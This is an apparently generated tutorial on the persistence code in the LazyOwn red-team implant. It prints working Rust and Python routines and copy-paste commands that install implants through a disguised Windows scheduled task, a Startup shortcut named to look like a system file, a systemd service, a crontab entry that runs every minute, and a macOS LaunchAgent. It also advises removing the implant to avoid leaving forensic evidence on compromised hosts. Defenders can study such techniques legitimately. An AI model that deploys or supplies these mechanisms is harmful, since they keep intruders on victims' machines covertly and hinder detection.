How to Set Up Persistence Mechanisms Across Windows and Linux Targets with LazyOwn

LazyOwn provides automated, cross-platform persistence via scheduled tasks on Windows and systemd/crontab on Linux, deployable through a single persistence command or manual Rust implant deployment.

The LazyOwn framework streamlines red-team operations by embedding native persistence techniques directly into its Rust implant and Python modules. Whether targeting Windows corporate environments or Linux servers, you can establish persistence mechanisms across Windows and Linux targets using built-in commands that leverage system-native APIs and service managers. This guide examines the actual implementation in the repository to show you how to deploy, customize, and maintain access on compromised hosts.

Windows Persistence Mechanisms

Scheduled Task Deployment via schtasks

In sessions/implant/implant_rust.rs, the ensure_persistence function targets Windows hosts by creating a daily scheduled task through the schtasks utility. This technique requires administrative privileges and executes the implant binary automatically after system reboots.

// sessions/implant/implant_rust.rs
if cfg!(target_os = "windows") {
    let task_name = "SystemMaintenanceTask";
    let task_cmd = format!(
        r#"schtasks /create /tn "{}" /tr "{}" /sc daily /f"#,
        task_name,
        executable.display()
    );
    let status = Command::new("cmd")
        .args(&["/C", &task_cmd])
        .status()
        .map_err(|e| format!("failed to create scheduled task: {}", e))?;
    if !status.success() { return Err("failed to create scheduled task".to_string()); }
}

The task is named SystemMaintenanceTask to blend with legitimate system maintenance routines. It uses /sc daily to ensure execution every day and /f to force overwrite any existing task with the same name, preventing deployment errors on re-infection.

Startup Folder Shortcut via LazyBotnet

For user-level persistence without administrative rights, the optional LazyBotnet module in modules/lazybotnet.py drops a Windows Shell Link (.lnk) into the user's Startup folder. This executes the implant each time the user logs into the graphical session.


# modules/lazybotnet.py

if platform.system() == "Windows" and win32com:
    startup_folder = os.path.join(
        os.getenv("APPDATA"),
        "Microsoft", "Windows", "Start Menu", "Programs", "Startup"
    )
    script_path = os.path.abspath(__file__)
    shortcut_path = os.path.join(startup_folder, "system32_log.lnk")
    self.create_shortcut(script_path, shortcut_path)

This method relies on the win32com library to generate the shortcut object. The file is disguised as system32_log.lnk to avoid suspicion when users inspect their startup items.

Linux Persistence Mechanisms

systemd Service Installation

On Linux systems with systemd, the Rust implant writes a unit file to /etc/systemd/system/system-maintenance.service and enables it for multi-user targets. According to the source code in sessions/implant/implant_rust.rs (lines 5160–5176), this provides robust persistence through service management.

let service_content = format!(
    r#"
[Unit]
Description=System Maintenance Service

[Service]
ExecStart={}
Restart=always
User={}
[Install]
WantedBy=multi-user.target
"#,
    executable.display(),
    env::var("USER").unwrap_or_default()
);
let service_path = "/etc/systemd/system/system-maintenance.service";
fs::write(service_path, service_content)?;
ensure_crontab_persistence(lazyconf)?;
let status = Command::new("systemctl")
    .args(&["enable", "system-maintenance"])
    .status()?;
if !status.success() { return Err("failed to enable systemd service".to_string()); }

The Restart=always directive ensures the implant respawns if terminated, while WantedBy=multi-user.target guarantees execution during the standard boot sequence. The code also invokes ensure_crontab_persistence as a redundant backup method.

Crontab Entry Fallback

For environments lacking systemd or when root privileges are unavailable, the implant falls back to modifying the user's crontab. The implementation in sessions/implant/implant_rust.rs (lines 1095–1109) schedules the binary to run every minute.

let cron_cmd = format!("* * * * * {}\n", executable.display());
let cron = format!("echo '{}' | crontab -", cron_cmd);
let (output, err) = execute_command_with_retry(&shell_command, &cron)?;

This crontab entry executes the implant binary continuously, ensuring reconnection within 60 seconds if the process is killed. The execute_command_with_retry wrapper handles transient failures during the cron installation process.

macOS Persistence via LaunchAgent

Although the primary question focuses on Windows and Linux, the LazyOwn implant also supports macOS through LaunchAgent plists. The code writes to ~/Library/LaunchAgents/com.system.maintenance.plist to achieve user-level persistence on Apple systems.

let plist_path = home_dir.join("Library/LaunchAgents/com.system.maintenance.plist");
let plist_content = format!(
    r#"<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key><string>com.system.maintenance</string>
    <key>ProgramArguments</key><array><string>{}</string></array>
    <key>RunAtLoad</key><true/>
    <key>KeepAlive</key><true/>
</dict>
</plist>"#, executable.display()
);
fs::write(&plist_path, plist_content)?;

The KeepAlive key ensures the process restarts automatically upon termination, mirroring the systemd behavior on Linux.

Deploying Persistence with LazyOwn Commands

You can trigger these mechanisms interactively from the LazyOwn shell or manually via system commands. The persistence command in lazyown.py (decorated with persistence_category from utils.py) automatically detects the target OS and invokes the appropriate ensure_persistence routine.

Platform LazyOwn Command Underlying Mechanism
Windows persistence schtasks daily task
Linux persistence systemd service + crontab
macOS persistence LaunchAgent plist
Windows (Botnet) setup_persistence Startup folder shortcut

To manually replicate the Windows scheduled task without the LazyOwn console:

cmd /C "schtasks /create /tn SystemMaintenanceTask /tr C:\Path\to\implant.exe /sc daily /f"

For Linux systemd deployment:

cat <<EOF > /etc/systemd/system/system-maintenance.service
[Unit]
Description=System Maintenance Service
[Service]
ExecStart=/usr/local/bin/implant
Restart=always
User=$(whoami)
[Install]
WantedBy=multi-user.target
EOF
systemctl enable system-maintenance
systemctl start system-maintenance

Summary

  • Windows persistence relies on schtasks for system-level daily execution or Startup folder shortcuts for user-level access.
  • Linux persistence prioritizes systemd service files under /etc/systemd/system/, with crontab acting as a universal fallback.
  • macOS persistence uses LaunchAgent plists in the user's Library directory.
  • All techniques are implemented in sessions/implant/implant_rust.rs and modules/lazybotnet.py, accessible through the unified persistence command.
  • Administrative or root privileges are required for system-wide persistence installations.

Frequently Asked Questions

What privileges are required to set up persistence mechanisms across Windows and Linux targets?

System-level persistence requires elevated privileges. On Windows, creating scheduled tasks with schtasks and writing to C:\Windows\System32 or service directories requires Administrator rights. On Linux, installing systemd units to /etc/systemd/system/ demands root access. User-level alternatives like Startup folder shortcuts or crontab entries work with standard user permissions but only persist for that specific user session.

How does LazyOwn handle persistence on systems without systemd?

The Rust implant automatically detects the absence of systemd and falls back to the ensure_crontab_persistence function. As shown in sessions/implant/implant_rust.rs (lines 1095–1109), it appends a * * * * * entry to the user's crontab, ensuring the binary executes every minute regardless of the init system in use.

Can the persistence mechanisms be removed after deployment?

Yes. The LazyOwn implant includes a self_destruct routine that removes the systemd service file, purges the crontab entry, and deletes the Windows scheduled task named SystemMaintenanceTask. You should invoke this cleanup method before terminating the implant to avoid leaving forensic artifacts on the target system.

Where are the persistence routines defined in the LazyOwn source code?

The primary persistence logic resides in sessions/implant/implant_rust.rs within the ensure_persistence function (lines 4950–5176). Windows-specific startup shortcuts are handled in modules/lazybotnet.py (lines 24–34) via the Keylogger class. Command categorization and CLI integration are defined in utils.py and lazyown.py, where the persistence_category decorator groups related commands.

Have a question about this repo?

These articles cover the highlights, but your codebase questions are specific. Give your agent direct access to the source. Share this with your agent to get started:

Share the following with your agent to get started:
curl -s "https://instagit.com/install.md"

Works with
Claude Codex Cursor VS Code OpenClaw Any MCP Client

Maintain an open-source project? Get it listed too →